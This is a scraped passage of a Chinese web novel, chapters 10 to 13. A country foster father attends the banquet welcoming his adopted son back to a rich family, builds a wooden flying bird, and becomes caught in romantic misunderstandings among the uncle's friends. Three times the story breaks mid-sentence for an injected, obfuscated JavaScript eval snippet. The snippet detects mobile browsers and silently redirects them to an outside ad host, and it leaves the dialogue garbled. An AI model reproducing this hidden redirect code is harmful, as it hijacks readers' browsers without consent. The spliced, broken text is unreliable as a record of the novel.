很漂亮的一套白色小西装,上面绣有中式古典风格的刺绣花纹。 他那天被树枝划破衣服错穿了昭昭小叔的衬衫,第二天,宋秘书就拎了许多新衣服来到谢家。 江之遇很是意外,反应过来后说了声谢谢,让宋秘书把这么贵重的衣服退回去,他马上就要回乡下了,穿不上这些。 宋秘书为难道:“退不了,这是谢总特地让我给您准备的宴会礼服,您不收的话,我不好向谢总交代。” 江之遇一噎,不想宋秘书工作难做,只能将这些衣服收下。 他换好礼服,把剩下穿不上的衣服工工整整叠好放在衣帽室里,然后出了房门。 有车一辆接着一辆绕过盘山驶进谢家庄园,都是受邀前来参加谢家好不容易找回来的小少爷欢迎宴的豪门名流。 江之遇远远看到谢老夫人和谢老先生在楼下宴客厅带着昭昭招待来宾,一同的还有黑色西装裹身,穿戴齐整,在穿梭的人影中格外出挑惹眼的昭昭小叔。 不得不说,昭昭小叔虽然性格冷淡,还经常会说些让人摸不着头脑的话,做出奇怪的举动,长相却是一等一的俊逸帅气,让他这个同为男人的人都忍不住多看几眼。 就是江之遇不适应这样的场合,除了谢家的人,他一个都不认识。 在外面徘徊了一会儿,他发现没有需要自己帮忙的地方,便回到房间里,拿起工具,继续完善那只会飞的木制小鸟。 自从上次帮着打理花园,谢老夫人和谢老先生了解到他不太能闲下来的性格,就由着他了,让他在家里怎么自在怎么来,想做什么都可以。 江之遇于是帮着采摘鲜花布置宴客厅,去厨房帮厨。 他手很巧,能在各种食材上雕花,还会用很多废弃无用的材料巧手一变,做成有意思的手工制品。 厨房的厨师因此非常喜欢他,谢家的佣人,尤其是女孩子,忙完一天的工作就爱凑在一起看他摆弄小玩意儿。 看他用插完花剩下的花枝绿叶给她们编漂亮的花环,用废弃的玻璃酒瓶给她们做小夜灯。 他还会一点木雕和榫卯手艺,是在原来的世界帮村里一个老木匠干活时学到的技能。 那名老木匠参与修缮过寺庙和古建筑,会做很多奇巧的玩意儿,江之遇从他那里学到很多,算他半个徒弟也不为过。 马上就要回乡下去了,过了今天的宴会,江之遇再没理由留在谢家。 这么一离开,往后再要见到昭昭不知道是什么时候,所以江之遇决定给养子做些小玩具,留作他平时玩,也当欢迎宴和离别的礼物。 用料是前几天谢家佣人清扫谢家庄园时准备处理掉的一些木制家具,江之遇拦下一座被损坏的花卉格架,拆出木料,给昭昭做了会跑的木制小狗和小马。 还有一只木鸟,已经搭好框架,等装好翅膀,安上机械零件,在空中试飞,就能大功告成了。 独自在房间里专注做给养子的送别礼物。 庄园门口,黎清叙到的时候刚好看到一个熟悉的身影从车上下来。 “不是我说,现在要见你一面还真是难。” 黎清叙把车停靠过去,降下车窗,叫住那人。 霍岭生清清冷冷的一张脸便转过来,夏日阳光清透灿烈,山风捎过来的气息裹了层热浪,他的声音却是没有温度的:“不是上次星若的成人礼才见过?” “也就那次请得出你这尊大佛。”黎清叙的语气无不调侃。 话虽这样说,泊好车,关好车门,黎清叙还是关切问了句:“伯母最近身体怎么样?” 黎星若轻巧跳下车,问了声岭生哥好,随后莹润眼眸也关切看过来。 霍岭生表情依旧淡淡的:“不好不坏。” “那就算好。”黎清叙扬了扬笑意,“佛门养心养性,适合清修,对伯母的身体调理有好处。” “不过,”他话音一转,状似不经意问道,“你也打算一直待在那里吗?” 霍岭生如隔一层薄雾的脸上终于有了细微的变化,但只停留了几秒,就被清冷疏淡的情绪抹掉:“去看昭昭吧。” 唉。 黎清叙在心里叹了口气。 这是个敏感的话题,他们几个人不轻易谈起。 但有些事总要有人挑开,像根深蒂固的毒瘤,需要被手术刀狠狠剜掉。 岭生不应该这样退避下去。 不过黎清叙到底没有继续试探,他不信佛,不念佛经,不听佛法,却也知道不干涉他人因果。 三个人一同到了谢家。 谢老夫人看到几个从小看着长大的小辈都来了,别提有多高兴了。 “伯父伯母,祝贺你们找回昭昭。”黎清叙率先走上前道贺,随后看向一旁的小男孩,亲切地问,“这就是昭昭吧?” 谢老夫人笑眯眯点头:“昭昭,快跟这几位哥哥打招呼,都是你小叔叔最好的朋友。” 谢寻昭便好奇地打量眼前长头发的男人和身旁手腕上缠着奇怪珠子,面容冷冰冰的男人。 “小焰呢。”谢老夫人环顾一圈,“好长时间没看到那孩子了。” “他被粉丝堵在机场了。”一个低沉的声音在这时传过来,谢津延从其他宾客那里抽开身,修长手指按下手机屏幕,显然刚挂断电话。 黎清叙嘴角噙起一弯笑意,毫不客气地损道:“这么说来,他又要迟到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136038|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或是缺席了,我看以后别叫他祁大明星了,叫他祁迟到算了。” 几人都是从小一块长大的,谢、黎、祁三家是世交,祁家和黎家还有一点姻亲关系,所以自小他们关系就非常好,说起话来和相处都十分随意。 霍家是从港城那边来的,但来得时间比较早,霍太太又是北城的旧贵族,这几年谢老夫人常常往隆安寺烧香祈福,霍岭生在寺庙照顾清修的母亲,常常能见到谢老夫人,因此和谢家的关系不比其他几个生分。 一行人陪谢老夫人和谢老先生说了会儿话,霍岭生因为不喜欢人多热闹的场合,没多久找了个理由出门透气去了。 黎清叙社交完,目光就开始在谢家来往的佣人身上四处搜寻。 人影穿梭在庄园布置得漂亮的宴客厅,花香酒香醇郁,堆成小塔的高脚杯里映射的光芒像那日花园水雾后绚烂的日光。 他却没能找见那个让他心脏“扑通扑通”跳动的身影。 “你在找什么?”谢津延察觉到异样,循着视线望过去一眼。 黎清叙笑了笑打哈哈:“没什么。” 谢津延面上生出一丝疑惑,没有多问,转而去找赵叔。 从一早吃早饭的时候在餐桌上见过昭昭养父一面,他就再没见过那个男人露过脸。 又去厨房帮厨了? 还是在哪个地方帮佣人打下手。 几日的相处,让谢津延逐渐了解到昭昭养父怪异的性格。 不要谢家的酬谢,放着自己让宋秘书给他挑的新衣服不穿,缝缝补补又换回了那件从乡下带过来的土里土气的灰旧衬衣。 还有,一刻不停歇,总想找点事情做,似乎有着无穷的精力…… 谢津延想起这段时间每天晚上从公司回到家,都能看到家里多出一些奇奇怪怪的小玩意。 先是背上装有翅膀且可以扇动的小木马,接着是在客厅地板上跑来跑去的木制小猫、小狗。 再然后是挂在小侄子和佣人房间的阳台上风一吹就叮铃铃响的仿古花灯和风铃…… 谢津延脚步顿了顿,折返去楼上。 跟过来的黎星若张口喊了声:“津延哥。” 可不知道是不是宴客厅这会儿宾客渐多,有些热闹,对方并没有听见他的声音。 黎星若望着眼前淡漠的身影,心脏难受得厉害。 打定主意来到谢家面对这一切,他做好了让津延哥生气的心理准备,可津延哥对他依旧和往常一样,不冷不淡的,仿佛什么都没有发生过一样。 这让黎星若很是失落难过。 长久以来,他一直都是跟在哥哥的身后远远望着喜欢的人。 比起这种和别人没什么分别的距离感,他宁愿津延哥骂他一顿,指责他也好,说他不懂事也好,怎么都行,就是别用这种淡漠的态度对他。 让黎星若觉得自己从来没有进入过这个男人的视线。 宴客厅里一时人心各异。 楼上的江之遇却对此一无所知,更不知道有人在搜寻他的身影。 他的小飞鸟终于做好了,正转动机械轴,准备试飞。 伴随着一阵“咔哧咔哧”齿轮转动的声音,木鸟扑棱起翅膀,飞了起来。 但大概是自己转动轴承的力道重了些,木鸟起飞得有些迅猛,竟飞出屋外,蹿向屋子外面的阳台。 江之遇连忙跟过去。 然后就看到自己好不容易做成的木鸟撞到窗前那株据说生长了好多年的凤凰花树上。 七月的天气。 凤凰花木开得热烈绚烂,火红的花瓣像炽烈的火焰一样连绵着烧红了江之遇暂住在谢家客房一整扇窗的天空。 木鸟撞上枝桠,摇晃出窸窸窣窣的声响,往下掉落。 火红的花瓣也跟着纷纷扬扬飘落。 江之遇从阳台探身往下看,找寻自己的木鸟。 绚烂的,傍晚火烧云一样的花影下,一个清冷的身影立在凤凰花木下。 艳红花瓣抖落他一身,落在他那身极简的绣有淡淡水墨暗纹的素色衣服上。 他拾起落在他面前的木鸟,抬起头,声音像穿过冬日雪夜茫茫的雪雾,拖着点倦冷的腔调。 “这是你掉的?” 11. 第 11 章 江之遇愣了愣,对上凤凰花树下投过来的清冷眼神。 过了好一会儿,反应过来,告诉对方:“是我掉的东西。” 说完,快速从阳台撤回身,小跑着下了楼,从别墅侧门快步跑到了出去。 谢家真的很大。 一整幢庄园式的别墅占据在广袤的土地上。 从阳台往下看不过半株花树的距离,视线撞在半空,江之遇甚至能看到那人衣服上精致的绣线纹路。 可是等他跑到凤凰花树下,却穿过好几条长廊,绕过草坪,用了一段时间。 那个人倒也不着急的样子,江之遇在他面前停住脚步的时候,看他正饶有兴致地摆弄自己的木鸟。 玉骨般修长的指节拨弄转轴,清冷神情中带一丝专注。 花瓣仍在扑簌扑簌飘落,降落的星火一般燎过他冷白腕骨上缠着的佛珠。 江之遇脑海里不知为何浮现出“不容亵渎”几个字。 他出声打破这样的景象:“谢谢你帮我捡到木鸟,希望它没有砸到你。” 那人缓缓收回视线,寂静雪岭般一张清逸出尘的脸看过来,离得近了,能看到他薄薄眼皮下的一颗小痣。 “没有,这只木鸟很有趣。” “不知道撞坏了没有。”江之遇从他手中接过自己的木鸟,心疼地查看翅膀,小声咕哝。 做这种会飞的木鸟不难,但他马上就要离开谢家了,如果木鸟被撞坏,他重新再做一只送给昭昭的话时间会来不及。 男人将他脸上的表情看在眼里,见他仔仔细细查看,清冽嗓音问道:“是你自己做的?” 江之遇点点头。 霍岭生视线便再度落到这只做工精巧的木制小鸟上,通体打磨得光滑莹润,翅膀栩栩如生,能看出有一定的雕工。 一些拼接部分用了榫卯工艺,辅以齿轮和转轴,不失机械灵动和传统工艺的古典之美。 就是背身的颜色涂得有些梦幻,童话般的蓝和暖黄,鸟的脑袋上似乎画着个小人,两颊还有可爱的腮红,像个小肥啾。 是霍岭生唯一觉得与这精巧做工割裂的地方。 “你也是来谢家参加找回来的小少爷欢迎宴的吗?” 江之遇见这个清冷出尘的男人一直盯着自己手中的木鸟看,忍不住问了句,他住在谢家这段时间没见过这张面孔。 霍岭生应声说是。 江之遇心想果然如此,又问他怎么不待在宴客厅。 今日天气晴好,头顶上的太阳散发着灼烈的日光,庄园虽然到处都种植着花草树木,遍地成荫,可依然挡不住渐浓的暑气。 他们这些宾客应该待在凉爽舒适的大厅,喝些加了冰块的冷饮,而不是庄园一角这么偏的地方。 却听男人淡淡道:“那里太吵了。” 江之遇微微一讶,有些惊讶于男人的直白。 不过想了想也对,不是所有人都喜欢热闹的场合。 他自己不也是因为不认识除了谢家以外的人才躲到屋子里给昭昭做欢迎宴的礼物吗? 想到这些,江之遇不再问了,继续检查自己的木鸟。 发现除了背部有一点撞击的痕迹,左侧翅膀有些歪,整体并没有特别大的损坏,应该还能飞。 他于是正了正木鸟的翅膀,将木鸟稍微修理了一下。 然后在这处虽然离正厅偏远,场地却很宽阔的地方试飞,这样就不至于像刚才那样在屋子里横冲直撞。 那个男人也不离开,就在一旁看着。 江之遇被人注视着,感到有些不太自在,打算换个地方。 男人忽然叫住他:“能让我试试吗?” 江之遇眼里露出疑惑,不解地看向他,见他目光定定地落在自己手上,便迟疑着把木鸟交给他。 男人拿到木鸟,不知调弄了什么,再转动转轴,木鸟就扇动着翅膀,稳稳飞了起来。 江之遇望着空中盘旋的飞鸟,惊喜道:“你也会这个?” 霍岭生仰头,清冷神情在如火花树下有一种缥缈的恍惚:“跟我母亲学的,她以前是榫卯工艺的传承者和古物复原师。” 原来这样。 江之遇了然。 又注意到他用的是“以前”。 难道他的母亲…… 江之遇垂了垂眼睫,不由得想起原来世界教他手艺的那个老木匠,虽然严厉,却亦师亦父,离世之前也曾给过他一段像家一样的温暖时光。 后面的时间,男人不再透露什么,只在一旁静静看着。 江之遇虽然好奇这个男人身上散发的神秘气息,却也无意探寻别人的秘密。 树荫下的影子在地面上又移动了点,日光更炽。 从宴客厅那边传来的声音也越发喧嚣,看来宾客已经来得七七八八了。 江之遇把试飞成功的木鸟收回来,看向那人:“我先回去了,你也别在外面待得太久,当心中暑。” “嗯。”对方淡淡应声。 江之遇就抱着木鸟小跑着回了别墅。 纤长背影绕过草坪,没入花枝缠绕的长廊,霍岭生收回视线,抬头望向火红花树遮挡的那扇窗。 好像是阿延二楼书房的方向…… 江之遇从侧门回到别墅。 谢家果然来了许多宾客,他一踏进门,凉爽的气息就和宴客厅那边的喧嚣声一并涌了过来。 宴席应该要不了多久就会开始了。 他得赶紧回去把小飞鸟装进礼物盒,包装好一会儿送给昭昭。 还有,把住过的客房收拾一下,等参加完昭昭的欢迎宴就离开。 大概过于专注计划宴会结束后的事情,没注意看路。 在通过侧门长长的廊道往自己房间的方向走时,不小心撞到了一个身影。 熟悉的木质沉香气息环绕而来,丝丝缕缕钻入鼻尖,入眼黑衬衫,隐隐可见块垒分明的肌理轮廓。 这样的场景似曾相识。 江之遇猛地抬起头,果不其然对上一双黑沉沉注视着他的眼眸。 “你去哪里了?” 谢津延垂眸望着一头扎进他怀里的男人,换上了自己让宋秘书给他准备的宴会礼服。 长廊尽头收进一窗绿景,花枝树影摇曳,细碎的光将他礼服上的绣线描成金色,像是从另一个世界误闯进来的古典美人。 是跟平常穿着乡下那身灰旧衣服完全不一样的感觉。 谢津延视线晃了晃。 江之遇揉了揉撞得有些发疼的鼻子,举起手中的木鸟:“我去外面捡这个了。” 谢津延这才注意到他手中拿着用木头做的奇奇怪怪的小鸟,和前几日看到的那些会跑会动的木制小马、小狗一样…… 他要在家里凑一座动物园吗? 不过谢津延到底没将这种想法说出口,目光落到他揉得红通通的小巧鼻尖,提醒道:“宴席马上就要开始了,昭昭在找你。” 江之遇哦了声:“那你们等我一会儿,我回一趟房间就过去。” 他拿着木鸟就走。 被身后低沉的声音叫住。 江之遇转过身,疑惑问道:“怎么了。” 谢津延视线落在他的肩上:“你衣服沾有木屑和花瓣。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136039|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗?”江之遇偏头往他看向的地方望过去,果然看到肩上绣有刺绣花纹的地方沾着一片火红的花瓣。 应该是刚才从那株凤凰花树上落下来的。 他向昭昭小叔说了声谢谢提醒,抬手将花瓣拂去。 另一只手探过来,骨节般修长的手指掠过耳垂,绕到后颈一侧的位置,带来一种酥麻的感觉。 “这里也有。” 江之遇身体一僵,对于猝不及防靠过来的气息,不知怎么的,脑海里忽然闪过那个夜晚男人逼近他的危险画面。 他不自觉往后退了一步。 谢津延似乎也察觉到什么,手在空中顿了一秒,随后收回。 指尖残留着不小心擦到耳垂和脖颈的触感,温热的,软软的,和第一次含在口中时的一样。 他黑眸微微闪了闪,俊逸面庞上掠过一抹不自然。 一个清脆软糯的声音在身后响起,满透着不可置信:“你们在干什么?津延哥,这个人是谁?” 江之遇慌忙转身,就看到一个长相精致的美少年睁着一双漂亮水润的眼睛看着他们,眼里写满了惊讶,还有一丝受伤的情绪。 这个面孔江之遇很是眼熟。 他混入酒店蹲守昭昭小叔的那个夜晚见过这个少年,被众星捧月簇拥着的成人礼主人公,四大豪门世家之一的黎家特别宠爱的小少爷。 这几家是世交,关系很好,江之遇有所耳闻。 也知道今天昭昭的欢迎宴,黎家、霍家和祁家一定会有人前来庆贺。 只是江之遇不太明白,眼前的少年为什么会用一种受伤的眼神看着他们,还用这样质问的语气。 这样迷惑着。 那个少年再度开口了,直直盯着昭昭小叔:“你一直不肯正眼看我,无视我的心意,就是因为这个人吗?” “星若,不要乱说话。” 谢津延眉头轻微蹙起,语气很是冷淡,对于发小弟弟设计自己的事情已经不打算追究,也不想伤害两家的情面,让两家难堪。 “我没有乱说。” 黎星若声音有些哽咽,带了一丝哭腔,对于刚才看到的那一幕比那天晚上发生的事情更加让他难以接受。 他强行抑制住眼泪,指着这个和爱慕已久的人举止亲密的漂亮男人,问出自己一直不肯接受的事实:“那天晚上是不是就是这个男人?” 谢津延面上流露出一丝不耐烦,冷冷道:“我没必要向你告知我的事情。” “你不否认那就是肯定了。” 谢津延默然,眉头拧得更紧。 黎星若有些崩溃,终于控制不住地哭了起来。 江之遇在一旁看得云里雾里,为什么这两个人之间的气氛这么怪异。 黎家小少爷在说什么?为什么会突然哭出来。 江之遇不确定自己处在这样的场合是否合适,要不要跟昭昭小叔说一声自己先离开。 就听这个漂亮的少年突然开口诉说自己多年的爱恋,用带着哭腔的声音发泄般地说他有多喜欢眼前这个男人,一直远远看着他,暗恋了很多年。 江之遇有些懵。 暗恋,喜欢眼前的男人? 是指昭昭小叔吗? 可是…… “你们不都是男人吗?你为什么会喜欢一个男人?” 江之遇疑惑地问出口。 “而且昭昭小叔的性格看上去就不太好惹,你就算喜欢一个人,为什么会选他这种?” 黎星若鼻子抽了抽,眼泪缩回眼眶,一下子哽住。 谢津延的脸色极其难看。 12. 第 12 章 江之遇并不是故意要打断他们,破坏当前的氛围。 实在是这位黎家小少爷说的话冲击到了他。 一个男人向另外一个男人表白,诉说爱意,这是江之遇以前在山里从来没有见过的事情。 男人为什么会喜欢男人? 男人怎么能喜欢男人呢? 他十分不理解。 要是喜欢的话,两个男人怎么谈恋爱? 江之遇来到这个世界后就遭遇了一场刚过去的洪灾,每日都要为生计操劳,还要想办法帮养子找到他真正的家人。 溪源乡是个偏僻落后的地方,他根本没有时间和精力去关注这个世界与他原来生活的地方有什么不同。 因此也就不知道在这里,男人和男人结婚不仅是合法的,而且是再正常不过的一件事。 喜欢一个人和选择最终的伴侣全凭自己的性向。 黎清叙一直没有放弃在谢家四处搜寻让他心动的那个身影,路过偏厅廊道,隐隐听到了什么动静。 他漫不经心往这边瞥过来一眼,竟让他看到自己的弟弟和发小僵持着的画面。 弟弟脸上挂着泪痕,发小的脸色也冷着,看上去神情很是不悦。 黎清叙脑袋颇有些疼,担心的情况还是发生了。 他迈开长腿,走上前,一把将弟弟拉过来,调和似的语气:“怎么了,你们两个有话不能……” “好好说吗”几个字未能说出口。 余光撞进一道身影,心脏狠狠跳了一下。 他找寻了这么久的人就站在他面前。 穿一身古典风格的宴会礼服,立在窗户洒进的斑驳光影下。 和那日在花园见到的浇花匠的装扮完全不一样,但那双眼睛依旧漂亮得像新雨后晶透的水珠。 黎清叙一时有些怔愣,话卡在喉咙,镜片后总是笑着的桃花眼也微微睁大。 他很少有这样失态的一面,总是风度翩翩,游刃有余。 他这副模样被谢津延看在眼里。 谢津延见他目光定定地落在那个男人身上,不知为何,心头生出一股微妙的燥意。 他把这归结为发小弟弟给自己带来的困扰,冷声道:“清叙,把你弟弟带走,他看起来状态不太好。” 黎清叙这才略略回神,忽视掉心脏不可控制的跳动。 “抱歉,是我弟弟给你添麻烦了。” 黎清叙打圆场着将弟弟从一旁拉开,低声劝他有话好好说,怎么能把氛围闹得这么僵,不知道阿延一向吃软不吃硬吗。 眼神却总有意无意望向那个漂亮男人的方向。 不是阿延家的佣人吗?为什么会着装这么正式地出现在昭昭的欢迎宴上。 难道是他那天搞错了? 黎清叙在心里猜测着,手被弟弟甩开。 黎星若怔愣过后就把这个漂亮男人莫名其妙的话视作挑衅:“我不走,我今天一定要弄清这个男人和津延哥的关系。” “哦?”黎清叙听了弟弟的话,有些意外似的,目光在心心念念的人和发小身上来回打量,若有所思的表情。 这令江之遇更加迷惑了。 偏厅廊道突然出现了许多人不说,为什么大家还都用奇奇怪怪的眼神看着他? 尤其是这个见过两回,只知道是黎家大少爷的斯文翩翩的男人,看向他的眼神充满了探究和深意。 还有,黎小少爷为什么一定要知道自己和昭昭小叔是什么关系? 他们有什么关系对他很重要吗? 霍岭生一只脚踏进侧门,正好看到眼前的景象。 他目光落在那只木鸟上,停留了几秒,又移开,没再往里走,身形没入廊柱投下的影子中。 听到黎清叙笑了笑问:“阿延,不向我们介绍一下你身边这位吗?身边藏了个这样的美人不告诉我们,真不够兄弟。” 他用的是一种几人相处之间惯常打趣的口吻,多为了调和气氛。 毕竟祁焰不在的时候,阿延和岭生这两个一闷一冷的人总能让场子一个比一个冷。 但此刻这句缓和气氛的话很难不让人怀疑没有别的意图。 霍岭生置身事外,倚在廊柱上,清冷眼眸里的情绪如寂静湖水一般,并没有因为黎清叙的话掀起一丝波澜。 “爸爸,你们怎么都在这里?” 就在周围的空气变得十分微妙古怪,气氛越来越僵时,昭昭的出现打破了这种怪异的局面。 “爸爸?” 黎星若听到这声称呼,被泪水浸湿的眼眸顿时睁圆,以为自己听错了。 黎清叙脸上的笑容也僵了僵。 在确认发小的小侄子叫的正是眼前这个被卷入旋涡中心的漂亮男人后,他正了正表情,俯身微笑着问男生:“昭昭,你说你刚才喊他爸爸?” “是啊。”谢寻昭点了点头,往养父身边走去,警惕地看着这群用不怀好意的目光打量自己养父的人。 谢老夫人就跟在小孙子身后。 看到阿延和他的朋友们都聚在一处,先是微微一讶,随后笑了笑说:“难怪刚才在大厅看不到你们,原来都在这里。” “正好。”谢老夫人走到江之遇身边,拉住他的手,“既然你们都在这里,那我就正式向你们介绍一下,这位是昭昭的养父江之遇江先生,就是他把昭昭带回到我们身边,是我们谢家的大恩人。” 昭昭的养父? 黎家兄弟脸上都露出了难以置信的表情。 廊柱后的身影也动了动。 黎星若还沾着泪珠的眼睛看看昭昭,又看了看谢老夫人口中介绍的把津延哥小侄子带回来的男人,有些茫然,似乎没有弄明白眼前的状况。 这个男人怎么就成了昭昭的养父? 还是他兄长先反应过来,走到江之遇面前,歉意的语气:“原来你是昭昭的养父,抱歉,刚才不知道你的身份,如果有冒犯到你的地方,还请见谅。” 黎清叙绅士风度,又恢复了斯文翩翩的模样。 谢老夫人并不知道刚才发生了什么,又向江之遇介绍:“之遇,这两位是黎家的公子,都是阿延的朋友。还有两个你没见到,是和阿延从小一起玩到大的。” 原来是昭昭小叔的发小。 江之遇了然,渐渐和那晚在酒店蹲守昭昭小叔时听到的有关四大豪门的那些人对上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136040|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那另外两个,是说霍家和祁家吗? 江之遇没见过这两人。 但总归,刚才让自己感到十分怪异的那种感觉没有了,黎家小少爷不哭不闹了,也不再用一种受伤和质问的眼神看着自己。 就是昭昭小叔的脸色依旧十分难看,像结了冰一样。 几人前去宴客厅落座。 昭昭是今天的主角,江之遇作为将谢家小少爷带回来的大恩人,被安排在主桌最重要的贵宾席上。 谢老夫人和谢老先生原本打算像介绍昭昭一样,也把江之遇介绍给这些豪门名流。 向他表达感激是一层意思,这样一来,所有人就都知道这是他们谢家礼遇的人,以后不会有人轻怠他。 只是江之遇不习惯在人多的地方露脸,会让他感到十分不自在。 谢老夫人尊重他的意愿,便只把他介绍给了几个交好的世家朋友。 江之遇于是就坐在主桌的位置,和昭昭一起专注吃饭。 霍岭生直到宴席快开始的时候才回来。 黎清叙擎着杯香槟,挑了挑眉梢,一副慵懒的语调:“你错过了一件有意思的事情。” “什么?”霍岭生在座位上坐下。 黎清叙视线往主桌那边投过去:“看到那个人了没有?阿延只和我们说昭昭找回来了,没说昭昭还有个养父。” “那又怎样。”霍岭生声音冷冷淡淡的,像玻璃杯中清泠泠撞击的冰块,似乎对这样的事情并不感兴趣。 “你不好奇吗?”黎清叙好整以暇。 他刚才险些误以为这是阿延瞒着他们金屋藏娇的美人,是那晚隔着一扇门呜咽轻泣的人。 霍岭生视线看过去。 见发小口中的人正一边自己用餐,一边不忘给身边的小孩夹菜,很耐心细致的样子。 餐桌中央是布置漂亮的新鲜采摘的花簇,那张脸掩映其中,霍岭生脑海里不由得浮现出他自火红花树下抬头往上看到的阳台上的画面。 那只木鸟是送给昭昭的吗? 如果是送给小孩子的话,就能解释和精巧做工不相搭的色彩和涂鸦。 江之遇总觉得有人在看自己,也不知道是不是错觉。 他抬头环顾了一下,对上一双风流多情的桃花眼。 对方似乎并不在意自己被抓包的样子,冲他笑了笑,是很斯文迷人的笑容。 江之遇一时局促,又看到他身旁坐着的人,脸上表情怔了怔。 是在花树下遇见的那个神秘清冷的男人。 刚才在僻静的庄园一角摆弄木鸟时,两人谁也没有打探彼此,江之遇以为是来谢家赴宴的众多宾客中的普通一个。 但现在看来似乎并不是自己想的那样。 祁家还是霍家的? 他想到刚才谢老夫人提到的另外两个他没有见过的昭昭小叔的朋友。 一瞬的遐思,男人朝他点了下头。 江之遇便也僵硬着回应了一下。 “他怎么只理你不理我?”黎清叙察觉到一丝不同寻常,桃花眼眯了眯。 霍岭生收回视线,淡淡道:“可能你太虚伪了。” 13. 第 13 章 谢家小少爷的认亲欢迎宴就在这样一个小插曲后热热闹闹地开始了。 江之遇也在脑海里甩掉昭昭小叔的两个朋友刚才看向自己的眼神,继续专下心来吃饭。 黎星若从知道被他误会的漂亮男人是津延哥找回来的小侄子的养父后,心绪就一直复杂不安着。 有为自己刚才闹出那样糗事的丢脸和赧然。 又有为选了一个这样的场合表白而感到后悔和懊恼。 怎么就搞成这样了? 想起自己刚才无理取闹,在津延哥面前维持了那么久的乖巧形象全部毁掉的画面,黎星若就懊悔得不行。 他应该理智一些的。 不过万幸。 这个男人是昭昭的养父,名义上讲,算作津延哥的义兄,津延哥身边并没有他以为的那种乱七八糟的人。 想到这些,黎星若心里有了安慰,莫名轻松。 他拿起一杯果酒,走到昭昭养父的桌子前,为自己刚才的失态道歉。 “之遇哥,对不起,刚才是我不好,误会你了。” 江之遇正往碗里舀黄鱼羹,为了照顾他的口味,他这一桌都是厨房里的厨师专门为他做的南方菜肴。 听到清甜好听的少年音,他抬起头,见是黎家小少爷。 精致漂亮的脸红红的,一双和他哥哥相似的桃花眼微微垂着,满是羞愧懊悔。 江之遇放下羹勺,对于黎家小少爷专门过来向他道歉感到意外。 他其实到现在都没弄清黎家小少爷误会了他什么,为什么要跟他道歉。 还有,如果没有记错的话,刚才在廊道里,这位小少爷的兄长也说过无意冒犯他的话。 他们到底在说什么? 不过江之遇还是顺着黎小少爷的话回了声没什么,因为这个漂亮的少年看起来很不安的样子。 黎星若见自己得到了原谅,愧疚的脸上顿时重新溢出光彩,高兴地就在江之遇旁边的位置坐下。 “之遇哥,我能这样叫你吗?” “可以啊。”江之遇点点头。 “你真的是从乡下来吗?”黎星若好奇地问。 他是含着金汤匙出生的小少爷,被捧在手心金尊玉贵地长大,身边的朋友和接触的人全都是北城这个世家圈子里的,非富即贵,他还是第一次见到从乡下来的人,说话还带着一点口音,他才注意到。 江之遇并没有为自己从乡下来的感到不妥,再一次点头:“对,那个地方叫溪源乡。” “溪源乡?”黎星若听到这个名字,很是新奇,“一听就是个很漂亮的地方。” “是很漂亮,不过被洪水冲垮了。”江之遇如实告诉他。 黎星若听到被洪水冲垮了,脸上露出惊讶的表情,不由得想到曾经在电视上看到的自然灾害类的报道。 那些遇灾的难民在残垣废墟中看起来十分可怜,黎星若的母亲成立着一个慈善基金会,是基金会的主席,他有时候会跟着去基金会的捐赠现场,知道有一部分人过着十分艰难的生活。 现在,黎星若就把眼前的男人与母亲基金会需要捐赠的那些困苦人联系在一起。 这样一想,心里那点怨念、不满和羞恼烟消云散,反而对这个从乡下来的漂亮男人更加内疚了。 他真该死,竟然误会这样一个面相看起来十分敦厚老实的人和津延哥有什么。 听谢伯母说,昭昭是这个男人不远千里,费了好大的力气找过来的。 家里刚遭遇这样不幸的事情,还要带着养子寻亲,一定很辛苦吧? 想到这些,黎星若决定等参加完昭昭的欢迎宴回去,就让他妈妈的基金会给昭昭养父的家乡捐款。 与此同时,再一次向眼前的男人表达了自己的懊悔之意。 江之遇终于忍不住问了声:“你为什么一直对我说对不起,你误会我什么了?” “就、我以为你和津延哥是那种关系……”黎星若磕磕绊绊地说。 “哪种关系?”江之遇越来越茫然,清透的眼眸疑惑眨了眨。 黎星若被他漂亮的眼睛看得有一瞬间失神,忽然有些不好意思,小声道:“我以为你是津延哥的情人。” 情人? 江之遇用了好几秒的时间消化掉这个词,半晌,不解道:“我们都是男人,怎么能是情人关系呢?” 他想起刚才在廊道的时候,这个少年向昭昭小叔表白:“还有,你说你喜欢昭昭小叔,你是男孩子呀。” “男孩子怎么了?”黎星若一时间被眼前的人问得也有些迷茫。 人在自己的世俗世界里待久了,对于突然超出自己认知范围内的东西,往往很难转过弯来。 江之遇是,黎星若也是。 两个不同频的人都没有理解对方的话是什么意思。 